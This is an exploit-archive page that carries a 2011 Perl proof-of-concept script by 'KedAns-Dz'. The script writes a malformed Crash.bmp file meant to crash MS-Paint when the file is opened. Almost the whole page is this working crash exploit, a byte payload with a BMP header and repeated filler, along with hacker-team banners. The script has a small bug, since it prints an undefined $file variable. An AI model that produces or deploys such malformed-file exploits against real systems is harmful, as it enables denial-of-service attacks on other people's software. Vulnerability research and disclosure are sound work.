[D] MS-Paint crashes (.bmp) Local Crash PoC [z]

2011-02-03 15:17:05
Inviato da: kedans

#!/usr/bin/perl
# Name : [D] MS-Paint crashes (.bmp) Local Crash PoC [z]
#------------------------------------------
# Detecting Date : 02/02/2011
# Divloperd Perl Date : [03/02/2011]
# Type : Dos/Poc , perl
#-------------------------------------------
# Author : KedAns-Dz < ked-h (at) hotmail (dot) com >
# Team : [D] HaCkerS-StreeT-Team [z]
# special thanks to : Islampard (+) Zaki.Eng

#########################################################
## Usage-->>file created-->>load file-->>Crash.bmp>>>BOOM
#########################################################

#Start SyStem : /root/@/MS-Dos :=>
system ("title By KedAns-Dz");
system ("color 1e");
system ("cls");
print "-:|==================================================|:-\n";
print "-:| [!] MS-Paint crashes (.bmp) Local Crash PoC |:-\n";
print "-:| |:-\n";
print "-:| [!] Author: KedAns-Dz |:-\n";
print "-:| |:-\n";
print "-:| [!] Mail: ked-h(at)hotmail(dot)com |:-\n";
print "-:|==================================================|:-\n";
sleep (2);
my $boom = "\x42\x4d\xf6\x0b" .
"\x00" x 7 .
"\x76\x00\x00\x28\x00\x10".
"\xdd\xdd\xdd\xdd\xdd\xbb\xbb\xbb\xbb" x 237;
my $filename = "Crash.bmp";
open (FILE,">$filename");
print FILE "$boom";
print "\n\n[*] Creating $file file...\n";
print "\n[+] File successfully created!\n";
# --- END ! ---
# KedAns , Algeria - HMD - in 12/01/2011
# By KedAns-Dz
#------------------------------------------------------------------------------------------
# [D] HaCkerS-StreeT-Team [Z] > Algerians HaCkErs <
# -- [>>] KedAns-Dz * BadR0 * XoreR * Dr.Ride * Fox-Dz * Red1One[<<] --
# -- [>] IslamPard * NoR0 FouinY * Zaki.ENG * Hani NiN0 * MasSinh0u-Dz [<] --

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.